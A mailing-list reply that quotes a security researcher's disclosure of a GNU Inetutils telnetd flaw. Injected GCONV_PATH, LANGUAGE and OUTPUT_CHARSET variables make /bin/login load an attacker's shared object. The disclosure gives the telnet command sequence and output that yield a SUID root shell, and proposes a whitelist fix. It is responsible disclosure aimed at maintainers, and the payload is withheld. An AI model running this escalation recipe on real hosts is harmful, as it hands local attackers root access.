Who uses telnet anyway? It's deprecated. Everyone uses ssh for any kind of 
remote access.


On Tuesday, February 24th, 2026 at 7:51 AM, Justin Swartz 
<[email protected]> wrote:

> Greetings,
> 
> I have been reviewing the recent vulnerability report by Ron Ben Yizhak 
> regarding CREDENTIALS_DIRECTORY, as well as commit 4db2f19f which introduces 
> unsetenv("CREDENTIALS_DIRECTORY") to address the problem.
> 
> After becoming aware of CVE-2026-24061 (telnetd in GNU Inetutils through 2.7 
> allows remote authentication bypass via a "-f root" value for the USER 
> environment variable), I was curious to find out whether there'd also been a 
> potential regression of CVE-1999-0073, described as: telnet allows a remote 
> client to specify environment variables including LD_LIBRARY_PATH, allowing 
> an attacker to bypass the normal system libraries and gain root access. I can 
> confirm that this is still an issue 27 years later, despite attempts at 
> blacklisting environment variables by prefix or full name.
> 
> The problem stems from telnetd executing /bin/login in a root-to-root 
> context, which means that AT_SECURE is set to 0 by the kernel in the 
> process's auxiliary vector. When AT_SECURE holds a positive value, it informs 
> the dynamic linker (ld-linux.so) and libc to enter a "secure-execution mode" 
> where a bunch of interesting environment variables are discarded or, at 
> least, defanged if present. In other words, the responsibility is on telnetd 
> itself to ensure that none of those potentially interesting, and attacker 
> controlled, variables make their way to /bin/login.
> 
> While using unsetenv() negates a user's ability to exploit the login.noauth 
> vector, the possibility still exists for the inclusion of variables of 
> interest to GNU gettext (such as OUTPUT_CHARSET or LANGUAGE) and glibc (such 
> as GCONV_PATH) via the telnet protocol itself.
> 
> For example, by injecting OUTPUT_CHARSET and LANGUAGE, an attacker can 
> persuade gettext that a character set conversion is necessary. This forces 
> gettext to call libc's iconv_open(), and because AT_SECURE is 0, iconv_open() 
> will use an injected GCONV_PATH in its quest for a gconv-modules file. 
> Assuming the attacker already has a local unprivileged account, or at least a 
> means of uploading files to the host (and knowing the location of the 
> uploaded files), a custom gconv-modules file will allow arbitrary shared 
> objects to be loaded soon after /bin/login attempts to print a localized 
> prompt.
> 
> For proof of concept, I've declared a broad selection of LANGUAGE codes for 
> the best chance of matching an installed locale. An attacker with local 
> access could simply determine what's actually installed and select only one 
> that doesn't match the system's default locale instead. Similarly, 
> OUTPUT_CHARSET has been chosen as a deliberate mismatch against the very 
> common choice of UTF-8:
> 
>   [email protected]:~$ ls -al .gconv
>   total 184
>   drwxr-xr-x 2 abuser abuser   4096 Jan  1  1970 .
>   drwxr-x--- 5 abuser abuser  36864 Jan  1  1970 ..
>   -rw-r--r-- 1 abuser abuser    256 Jan  1  1970 gconv-modules
>   -rw-r--r-- 1 abuser abuser  15568 Jan  1  1970 libcash2trash.so
> 
> 
>   [email protected]:~$ telnet -l abuser
>   telnet> environ define GCONV_PATH /home/abuser/.gconv
>   telnet> environ export GCONV_PATH
>   telnet> environ define LANGUAGE fr:de:es:it:pt:nl:sv:pl:uk:ru:zh_CN:ko:ja
>   telnet> environ export LANGUAGE
>   telnet> environ define OUTPUT_CHARSET ISO-8859-1
>   telnet> environ export OUTPUT_CHARSET
>   telnet> open 127.0.0.1
>   Trying 127.0.0.1...
>   Connected to 127.0.0.1.
>   Escape character is '^]'.
> 
>   Linux (localhost) (pts/6)
> 
>   Connection closed by foreign host.
> 
> 
>   [email protected]:~$ ls -al .gconv
>   total 184
>   drwxr-xr-x 2 abuser abuser   4096 Jan  1  1970 .
>   drwxr-x--- 5 abuser abuser  36864 Jan  1  1970 ..
>   -rw-r--r-- 1 abuser abuser    256 Jan  1  1970 gconv-modules
>   -rw-r--r-- 1 abuser abuser  15568 Jan  1  1970 libcash2trash.so
>   -rwsr-sr-x 1 root   root   125640 Jan  1  1970 trash
> 
> 
>   [email protected]:~$ .gconv/trash -p
>   # id
>   uid=1001(abuser) gid=1002(abuser) euid=0(root) egid=0(root) 
> groups=0(root),1002(abuser)
> 
> 
> Once the telnet connection opens, /bin/login tries to print the localized 
> prompt but gettext recognizes the encoding mismatch and calls iconv_open() to 
> parse the gconv-modules file in the directory referenced by the injected path 
> before loading the shared object that turns cash ($) to trash (#). The 
> connection drops because I included a call to exit() once the payload has 
> executed. As illustrated above, the payload effectively asserts root 
> privilege and makes a copy of /bin/sh with SUID/SGID permissions. Note that 
> no authentication via telnetd was required, nor performed, for this privilege 
> escalation trick to occur. Also note that this is just one of many possible 
> methods that may be used to exploit this condition.
> 
> In my opinion, to fix this issue and finally put the ghost of CVE-1999-0073 
> to rest: telnetd must drop the blacklist approach and adopt the OpenSSH 
> AcceptEnv-style approach suggested by Simon Josefsson [1], which amounts to 
> preparing a brand new environment for /bin/login based on a strict whitelist 
> of variables names considered to be "safe", and perhaps a healthy dose of 
> input sanitization for their respective values.
> 
> In terms of the CVE that Ron Ben Yizhak had asked about earlier in the 
> thread: I think it might make the most sense to co-ordinate a single CVE for 
> "Improper environment sanitization in telnetd" that comprehensively covers 
> both the CREDENTIALS_DIRECTORY vector and this dynamic linker escape.
> 
> I'm happy to share the intentionally redacted payload privately with the 
> maintainers should any help be required to reproduce the proof of concept.
> 
> Regards,
> Justin
> 
> ---
> 
> [1] https://lists.gnu.org/archive/html/bug-inetutils/2026-02/msg00002.html
>

Reply via email to